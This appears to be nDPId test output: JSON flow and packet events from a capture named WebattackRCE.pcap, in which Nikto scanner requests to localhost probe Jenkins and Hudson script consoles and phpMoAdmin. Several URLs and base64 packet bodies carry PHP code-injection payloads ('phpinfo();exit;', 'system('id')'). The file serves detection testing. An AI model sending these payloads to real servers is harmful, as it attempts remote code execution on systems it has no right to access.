+00617{"flow_id":767,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":767,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":929706,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"AAAAAAAAAAAAAAAACABFAAC7MdtAAEAGCmB\/AAABfwAAAceYH5BhLQiUIFdU+oAYAED+rwAAAQEICp1m\/9GdZv\/RR0VUIC9zY3JpcHQgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDY5OTkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":767,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":767,"flow_packet_id":1,"flow_first_seen":1576420277929,"flow_last_seen":0,"flow_tot_l4_data_len":167,"flow_min_l4_data_len":167,"flow_max_l4_data_len":167,"flow_avg_l4_data_len":167,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51096,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/script","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006999)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":768,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":768,"flow_packet_id":1,"flow_first_seen":1576420277931,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51098,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":768,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":931109,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDfttAAEAGvVd\/AAABfwAAAceaH5AHCUeUa2pQhIAYAED+twAAAQEICp1m\/9OdZv\/SR0VUIC9qZW5raW5zL3NjcmlwdCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA2OTk5KQ0KDQo="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":768,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":768,"flow_packet_id":1,"flow_first_seen":1576420277931,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51098,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/jenkins\/script","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006999)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":769,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":769,"flow_packet_id":1,"flow_first_seen":1576420277933,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51100,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":769,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":769,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":933564,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCrgRAAEAGji9\/AAABfwAAAcecH5DcgpdKIx+4uoAYAED+tgAAAQEICp1m\/9WdZv\/VR0VUIC9odWRzb24vc2NyaXB0IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA2OTk5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":769,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":769,"flow_packet_id":1,"flow_first_seen":1576420277933,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51100,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/hudson\/script","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006999)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":770,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":770,"flow_packet_id":1,"flow_first_seen":1576420277971,"flow_last_seen":0,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":328,"flow_max_l4_data_len":328,"flow_avg_l4_data_len":328,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51148,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00835{"flow_id":770,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":770,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":971570,"pkt_caplen":362,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":362,"pkt_l4_len":328,"pkt":"AAAAAAAAAAAAAAAACABFAAFctdFAAEAGhch\/AAABfwAAAcfMH5DMiIyc+KcBsoAYAED\/UAAAAQEICp1m\/\/udZv\/7R0VUIC9tb2FkbWluLnBocD9jb2xsZWN0aW9uPXNlY3B1bHNlJmFjdGlvbj1saXN0Um93cyZmaW5kPWFycmF5KCk7cGhwaW5mbygpO2V4aXQ7IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb250ZW50LUxlbmd0aDogMjINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQoNCm9iamVjdD0xO3N5c3RlbSgnaWQnKTs="} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":770,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":770,"flow_packet_id":1,"flow_first_seen":1576420277971,"flow_last_seen":0,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":328,"flow_max_l4_data_len":328,"flow_avg_l4_data_len":328,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51148,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":771,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":771,"flow_packet_id":1,"flow_first_seen":1576420277972,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51150,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00851{"flow_id":771,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":771,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":972844,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnwDVAAEAGe1l\/AAABfwAAAcfOH5AQvflnbGoufoAYAED\/WwAAAQEICp1m\/\/ydZv\/8R0VUIC9waHBtb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbnRlbnQtTGVuZ3RoOiAyMg0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":771,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":771,"flow_packet_id":1,"flow_first_seen":1576420277972,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51150,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpmoadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":772,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":772,"flow_packet_id":1,"flow_first_seen":1576420277974,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51152,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00851{"flow_id":772,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":974039,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFncRdAAEAGynd\/AAABfwAAAcfQH5DeNEhBp6LH9oAYAED\/WwAAAQEICp1m\/\/2dZv\/9R0VUIC93dS1tb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LUxlbmd0aDogMjINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpIb3N0OiAxMjcuMC4wLjENCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":772,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":772,"flow_packet_id":1,"flow_first_seen":1576420277974,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51152,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":773,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":773,"flow_packet_id":1,"flow_first_seen":1576420277975,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51154,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00848{"flow_id":773,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":773,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":975224,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFkoPRAAEAGmp1\/AAABfwAAAcfSH5BFc5mo+BaB54AYAED\/WAAAAQEICp1m\/\/+dZv\/\/R0VUIC9tb2FkbWluL21vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1MZW5ndGg6IDIyDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":773,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":773,"flow_packet_id":1,"flow_first_seen":1576420277975,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51154,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin\/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":774,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":774,"flow_packet_id":1,"flow_first_seen":1576420277976,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51156,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00836{"flow_id":774,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":774,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":976404,"pkt_caplen":365,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":365,"pkt_l4_len":331,"pkt":"AAAAAAAAAAAAAAAACABFAAFfD0hAAEAGLE9\/AAABfwAAAcfUH5ChoTYRo2DY7oAYAED\/UwAAAQEICp1nAACdZwAAR0VUIC93dS1tb2FkbWluLnBocD9jb2xsZWN0aW9uPXNlY3B1bHNlJmFjdGlvbj1saXN0Um93cyZmaW5kPWFycmF5KCk7cGhwaW5mbygpO2V4aXQ7IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MDExKQ0KQ29udGVudC1MZW5ndGg6IDIyDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KSG9zdDogMTI3LjAuMC4xDQoNCm9iamVjdD0xO3N5c3RlbSgnaWQnKTs="} +00828{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":774,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":774,"flow_packet_id":1,"flow_first_seen":1576420277976,"flow_last_seen":0,"flow_tot_l4_data_len":331,"flow_min_l4_data_len":331,"flow_max_l4_data_len":331,"flow_avg_l4_data_len":331,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51156,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":775,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":775,"flow_packet_id":1,"flow_first_seen":1576420277977,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51158,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00852{"flow_id":775,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":775,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":977601,"pkt_caplen":376,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":376,"pkt_l4_len":342,"pkt":"AAAAAAAAAAAAAAAACABFAAFqZD5AAEAG101\/AAABfwAAAcfWH5DMOF1rGOgpBIAYAED\/XgAAAQEICp1nAAGdZwABR0VUIC9waHBtb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LUxlbmd0aDogMjINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpIb3N0OiAxMjcuMC4wLjENCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":775,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":775,"flow_packet_id":1,"flow_first_seen":1576420277977,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51158,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpmoadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":776,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":776,"flow_packet_id":1,"flow_first_seen":1576420277980,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51160,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00852{"flow_id":776,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":776,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":980358,"pkt_caplen":376,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":376,"pkt_l4_len":342,"pkt":"AAAAAAAAAAAAAAAACABFAAFqHXJAAEAGHhp\/AAABfwAAAcfYH5AZXiQoPHeXDoAYAED\/XgAAAQEICp1nAASdZwAER0VUIC93dS1tb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcwMTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LUxlbmd0aDogMjINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpIb3N0OiAxMjcuMC4wLjENCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":776,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":776,"flow_packet_id":1,"flow_first_seen":1576420277980,"flow_last_seen":0,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":342,"flow_max_l4_data_len":342,"flow_avg_l4_data_len":342,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51160,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wu-moadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":777,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":777,"flow_packet_id":1,"flow_first_seen":1576420277981,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51162,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00848{"flow_id":777,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":777,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":981999,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFn7phAAEAGTPZ\/AAABfwAAAcfaH5CzPtfCPnznp4AYAED\/WwAAAQEICp1nAAWdZwAFR0VUIC9tb2FkbWluL3d1LW1vYWRtaW4ucGhwP2NvbGxlY3Rpb249c2VjcHVsc2UmYWN0aW9uPWxpc3RSb3dzJmZpbmQ9YXJyYXkoKTtwaHBpbmZvKCk7ZXhpdDsgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzAxMSkNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogMjINCg0Kb2JqZWN0PTE7c3lzdGVtKCdpZCcpOw=="} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":777,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":777,"flow_packet_id":1,"flow_first_seen":1576420277981,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51162,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/moadmin\/wu-moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007011)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":778,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":778,"flow_packet_id":1,"flow_first_seen":1576420277983,"flow_last_seen":0,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":328,"flow_max_l4_data_len":328,"flow_avg_l4_data_len":328,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51164,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 